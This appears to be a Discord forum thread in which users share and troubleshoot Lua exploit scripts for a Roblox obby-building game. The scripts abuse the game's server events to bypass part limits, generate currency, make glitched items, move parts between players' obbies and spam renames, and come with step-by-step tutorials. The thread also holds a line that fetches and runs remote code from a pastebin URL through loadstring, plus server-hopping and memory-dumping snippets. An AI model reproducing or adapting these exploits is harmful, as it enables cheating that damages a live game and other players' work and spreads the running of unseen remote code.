i currently have an obby with 6k parts.
:GetChildren() — 05/07/2024 04:28
the part limit is 6001
gord — 05/07/2024 11:14
does it just put your part count in the negatives?
gord — 05/07/2024 11:17
wait so it just ADDS to your part limit???
Water2
OP
— 05/07/2024 11:59
no, you can't have negative part count sadly :((
Water2
changed the post title:
NEW FREE PART LIMIT METHOD
— 05/07/2024 17:01
:GetChildren()
changed the post title:
NEW FREE PART LIMIT aND FREE MONEY METHOD
— 05/07/2024 17:11
:GetChildren()
changed the post title:
NEW FREE PART LIMIT AND FREE MONEY METHOD
— 05/07/2024 17:11
BLOCKCE — 05/07/2024 17:57
This doesn't work for me @Water2
Water2
OP
— 05/07/2024 18:00
Kk lemme fix
@BLOCKCE whats the error
@BLOCKCE ??
BLOCKCE — 07/07/2024 00:21
None
It just deletes the character models
Water2
OP
— 07/07/2024 00:37
all the character models?
@BLOCKCE
@BLOCKCE i've reported you to the FBI, hide, theh will come in ~7 minutes.
BLOCKCE — 07/07/2024 00:39
No only one
Water2
OP
— 07/07/2024 00:39
how many part limit does it give
BLOCKCE — 07/07/2024 00:40
0
Water2
OP
— 07/07/2024 00:40
it changes it to 0? can you place alot of parts, then place the character model and
run the script?
BLOCKCE — 07/07/2024 00:40
No it doesn't change part limit
Water2
OP
— 07/07/2024 00:41
how about cash?
BLOCKCE — 07/07/2024 00:41
Wait
Water2
OP
— 07/07/2024 00:41
local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items.Parts
local typee = "Part"
local DelTable = {}

for i = 1, 1000 do
table.insert(DelTable, ob[typee])
end

game.ReplicatedStorage.Events.DeleteObject:InvokeServer(DelTable)
BLOCKCE — 07/07/2024 00:41
It changes how many parts i have in the obby
Water2
OP
— 07/07/2024 00:41
this one will give you free cash
Water2
OP
— 07/07/2024 00:41
what does the part count say
BLOCKCE — 07/07/2024 00:41
To 0
Water2
OP
— 07/07/2024 00:41
see it works
BLOCKCE — 07/07/2024 00:42
Ohhhhh
Water2
OP
— 07/07/2024 00:42
it should work like that!
also blocke add me: obbycereallol
BLOCKCE — 07/07/2024 00:42
I already did that
Water2
OP
— 07/07/2024 00:42
oh really
BLOCKCE — 07/07/2024 00:42
Yes
Water2
OP
— 07/07/2024 00:42
i think i removed u or smth
whats ur user
arr you sure you added obbycereallol?
BLOCKCE — 07/07/2024 00:43
Tnt_tp
BLOCKCE — 07/07/2024 00:43
Yes
Water2
OP
— 07/07/2024 00:43
yes you are in my friend list
roblox bugs i guess
wanna see my obby with -26B cash
BLOCKCE — 07/07/2024 00:44
Image
BLOCKCE — 07/07/2024 00:44
No i gtg
Water2
OP
— 07/07/2024 00:44
nice
Water2
OP
— 07/07/2024 00:45
alright
᲼bilemezile — 15/07/2024 15:04
oh so this is the one with cart righ
Water2
OP
— 16/07/2024 18:26
local tab = {}
local plr = game.Players.LocalPlayer.Name
for j, v in pairs(workspace.Obbies[plr].Items.Special:GetChildren()) do
if j <= 100 then
if v.Name == "Character Model" or v.Name == "Mannequin" then
table.insert(tab, v:FindFirstChild("RootPart").RootAttachment)
v.Parent = v.Parent.Parent.Parts
end
elseif j >= 100 then
game.ReplicatedStorage.Events.DeleteObject:InvokeServer(tab)
end
end
Username — 26/07/2024 03:01
Can you give it to other player with edit permission
Username — 26/07/2024 03:09
Nvm did it
Water2
OP
— 26/07/2024 10:55
yes
Water2
OP
— 29/07/2024 14:04
local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items.Buttons
local typee = "Button"
local DelTable = {}

for i = 1, 1000 do
table.insert(DelTable, ob[typee])
end

game.ReplicatedStorage.Events.DeleteObject:InvokeServer(DelTable)
the confirmation — 20/08/2024 00:35
how many dummies do i place
@Water2
Water2
OP
— 20/08/2024 00:35
what
thats a button thinf
the confirmation — 20/08/2024 00:35
like charecter modles or mannequis
Water2
OP
— 20/08/2024 00:35
place a big button
the confirmation — 20/08/2024 00:35
yeah
the confirmation — 20/08/2024 00:36
next?
execute it?
Water2
OP
— 20/08/2024 00:36
Y
the confirmation — 20/08/2024 00:36
is that it?
k
the confirmation — 20/08/2024 00:41
it aint workin
Water2
OP
— 20/08/2024 00:42
did it delete the button
the confirmation — 20/08/2024 00:42
no
Water2
OP
— 20/08/2024 00:42
screenshot the console
the confirmation — 20/08/2024 00:43
button is not a valid member
Image
@Water2
Water2
OP
— 20/08/2024 00:44
did you add button
the confirmation — 20/08/2024 00:44
yes
Water2
OP
— 20/08/2024 00:44
is it called Button
the confirmation — 20/08/2024 00:44
wait
Water2
OP
— 20/08/2024 00:44
did you add it to your obby
@the confirmation
the confirmation — 20/08/2024 00:47
wait
delta is trashy wait
huh
it is a valid mem
the confirmation — 20/08/2024 00:52
it is a valid mem
Water2
OP
— 20/08/2024 00:52
hmmmm
man idk lol
Water2
OP
— 24/08/2024 20:18
local plr = game.Players.LocalPlayer.Name
local ob = workspace.Obbies[plr].Items.Special
local typee = "Mannequin"
local DelTable = {}

for i = 1, 200 do
local clone = {}
table.insert(DelTable, clone)
table.insert(clone, ob[typee]:FindFirstChild("Head"):GetChildren()[1])
table.insert(clone, CFrame.new(0, 10, 0))
table.insert(clone, Vector3.new(0/0, 0/0, 0/0))
end

game.ReplicatedStorage.Events.CloneObject:InvokeServer(DelTable)

local plr = game.Players.LocalPlayer


local char = plr.Character
local hrp = char.HumanoidRootPart

char.Parent = nil
hrp.Parent = nil
wait(1)
char.Parent = workspace
hrp.Parent = char

--[[TOOL HIDDER FOR OC AKA FOR ALL GAME MADE BY TEAM OC]]

local plr = game.Players.LocalPlayer

function HideTool()
local oldfolder = game:GetService("Workspace"):FindFirstChild("Hidden Tool")

if oldfolder then
for i,v in pairs(plr.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = oldfolder
end
end
end

if not oldfolder then


local Folder = Instance.new("Folder", workspace)
Folder.Name = "Hidden Tool"
for i,v in pairs(plr.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = Folder
end
end
end

end

function TakeTool()
local folder = game:GetService("Workspace"):WaitForChild("Hidden Tool")
if folder then
for i,v in pairs(folder:GetChildren()) do
v.Parent = plr.Backpack
end
end
end

loadstring(game:HttpGet("https://pastebin.com/raw/8b46S0Ma"))()

REQUIREMENTS:
Character Model/Mannequin, Seat
STEP BY STEP TUTORIAL:
1) Claim an obby
2) Place a seat
3) Place Character Model/Mannequin
4) Delete RootPart with the script (the script will be in SCRIPT section)
5) Move Character Model/Mannequin to the Seat and make it sit in it
6) Move or Rotate Character Model/Mannequin Part so that the seat will go out of
bounds
Done
SCRIPT
-- Character Model
local plr = game.Players.LocalPlayer.Name
game.ReplicatedStorage.Events.DeleteObject:InvokeServer({workspace.Obbies[plr].Item
s.Special["Character Model"].RootPart.RootAttachment})
-- Mannequin
local plr = game.Players.LocalPlayer.Name
game.ReplicatedStorage.Events.DeleteObject:InvokeServer({workspace.Obbies[plr].Item
s.Special["Mannequin"].RootPart.RootAttachment})

Parts Transfer Script, Can transfer parts from one obby to another using mannequins
and SashBlack
TUTORIAL
Get 2 players
Both players should unanchor the mannequin
Unanchor script:
workspace.Obbies[game.Players.LocalPlayer.Name].Items.Special.Mannequin.RootPart.Ro
otAttachment
Player2 Should put this as an id: |17847664723|
Player1 Should move Mannequin to Player2's mannequin
Player2 Deletes |SashBlack.Handle.Mesh|
Script:
game.ReplicatedStorage.Events.DeleteObject:InvokeServer({workspace.Obbies[game.Play
ers.LocalPlayer.Name].Items.Special.Mannequin.SashBlack.Handle.Mesh})
Player1 Pushes Player2's mannequin away, then pushes his mannequin into the spot
where SashBlack.Handle was deleted
Player2 Clicks Undo, Which puts SashBlack.Handle to Player2's Parts folder, then
Handle touches Player1's Mannequin, which parents Player2's Parts folder to
Player1's Mannequin
Done.
Now, if you want to parent a part from Mannequin to parts folder, you need either
clone it or delete it and then undo, this will make the part go out of bounds.
Keep in mind that you can't clone or delete and undo Advanced parts if you dont
have Advanced tools.
This method can give you Glitched Teleport Pad and Glitched Cart Spanwer Part

autoExecuteScript = true -- set to true or false as needed

local args = {
[1] = {
[1] =
workspace:WaitForChild("Obbies"):WaitForChild("plr"):WaitForChild("Items"):WaitForC
hild("Parts"):WaitForChild("Part"),
[2] =
workspace:WaitForChild("Obbies"):WaitForChild("plr"):WaitForChild("Items"):WaitForC
hild("Special"):WaitForChild("Mannequin"):WaitForChild("Mannequin")
},
[2] = "Surface",
[3] = "Hinge"
}

game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("PaintObje
ct"):InvokeServer(unpack(args))

TUTORIAL
Place a Cart Spawner Part and run this script:

game.ReplicatedStorage.Events.BehaviourObject:InvokeServer({workspace.Obbies[game.P
layers.LocalPlayer.Name].Items.Parts["Cart Spawner Part"]}, "CF", CFrame.new(0, 0,
0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
Done!
This will change the Cart's spawn CFrame to 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1

local id = "1"

local RenameObby =
game:GetService("ReplicatedStorage"):FindFirstChild("Events"):FindFirstChild("Renam
eObby")
game:GetService("ReplicatedStorage"):FindFirstChild("Events"):FindFirstChild("Claim
MeARandomObby"):InvokeServer()
game:GetService("ReplicatedStorage"):FindFirstChild("Events"):FindFirstChild("LoadO
bby"):InvokeServer(tostring(game.Players.LocalPlayer.UserId .. "#"..id))

local GAME = {}

local gc = getgc(true)
for i,v in next, gc do
if type(v) == 'function' then
local info = debug.getinfo(v)
table.insert(GAME, info.name)
end
end
for i,v in next, g do
table.insert(GAME, tostring(v))
end
for i,v in next, gc do
if type(v) == 'table' then
table.insert(GAME, tostring(v))
end
end

for _,v in pairs(game:GetDescendants()) do


table.insert(GAME, tostring(v))
end

for _,v in pairs(game:GetDescendants()) do


if v:IsA"TextLabel" then
table.insert(GAME, v.Text)
elseif v:IsA"TextButton" then
table.insert(GAME, v.Text)
elseif v:IsA("TextBox") then
table.insert(GAME, v.Text)
elseif v:IsA("TextLabel") then
table.insert(GAME, v.Text)
end
end
for i,v in pairs(getnilinstances()) do
table.insert(GAME, tostring(v))
end

coroutine.wrap(function()
while task.wait() do
local random = GAME[math.random(1, #GAME)]

local args = {
[1] = tonumber(id),
[2] = random
}
RenameObby:InvokeServer(unpack(args))
end
end)()

local function shop()


local httprequest = (syn and syn.request) or (http and http.request) or
http_request or (fluxus and fluxus.request) or request
local PlaceId, JobId = game.PlaceId, game.JobId
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")

if httprequest then
local servers = {}
local req = httprequest({Url =
string.format("https://games.roblox.com/v1/games/%d/servers/Public?
sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
local body = HttpService:JSONDecode(req.Body)

if body and body.data then


for _, v in next, body.data do
if type(v) == "table" and tonumber(v.playing) and
tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then
table.insert(servers, 1, v.id)
end
end
else
print("no body and body.data")
end

if #servers > 0 then


TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1,
#servers)], Players.LocalPlayer)
else
print("No servers found.")
end
else
print("httprequest is not supported.")
end
end

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